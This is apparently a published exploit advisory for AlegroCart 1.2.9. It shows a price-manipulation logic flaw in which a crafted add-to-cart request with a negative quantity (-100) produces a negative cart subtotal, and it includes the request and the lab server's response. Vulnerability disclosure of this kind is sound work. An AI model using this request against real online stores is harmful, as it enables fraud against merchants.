📄 AlegroCart 1.2.9 Logic Flaw

# Exploit Title: Business Logic Flaw: Price Manipulation - alegrocartv1.2.9
    # Date: 04/2025
    # Exploit Author: Andrey Stoykov
    # Version: 1.2.9
    # Tested on: Debian 12
    # Blog: https://msecureltd.blogspot.com/
    
    Business Logic Flaw: Price Manipulation #1:
    
    Steps to Reproduce:
    
    1. Visit the store and add a product
    2. Intercept the HTTP GET request and add negative value to the "quantity"
    parameter
    
    
    // HTTP GET request
    
    GET
    /alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100
    HTTP/1.1
    Host: 192.168.58.129
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0)
    Gecko/20100101 Firefox/138.0
    [...]
    
    
    // HTTP response
    
    HTTP/1.1 200 OK
    Date: Thu, 03 Apr 2025 22:16:58 GMT
    Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev
    Perl/v5.16.3
    X-Powered-By: PHP/5.6.40
    Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate
    Expires: Thu, 03 Apr 2025 22:16:58 GMT
    Vary: Accept-Encoding
    Content-Length: 813
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
    
    <div class="headingcolumn pointer" onclick="ShowCart()"><h3>Cart
     ^</h3></div>
    <div  class="cart">
    <div id="cart_content" class="cart_content">
    <div id="cart_products">
    <table>
    <tr>
    <td>-100&nbsp;x&nbsp;</td>
    <td class="ff"><a href="
    http://192.168.58.129/alegrocart/?controller=product&product_id=10
    ">Featured13/8&quot;&1/2&quot;</a></td>
    <td class="ee"> $-1,599.00</td>
    </tr>
    </table>
    </div>
    <div class="aa">Subtotal:$-1,599.00</div>
    <div class="cc">1 Product(s) - <div class="dd">-100 Item(s)</div></div>
    <div class="bb" id="cart_button"><a href="
    http://192.168.58.129/alegrocart/?controller=cart">View Cart</a></div>
    [...]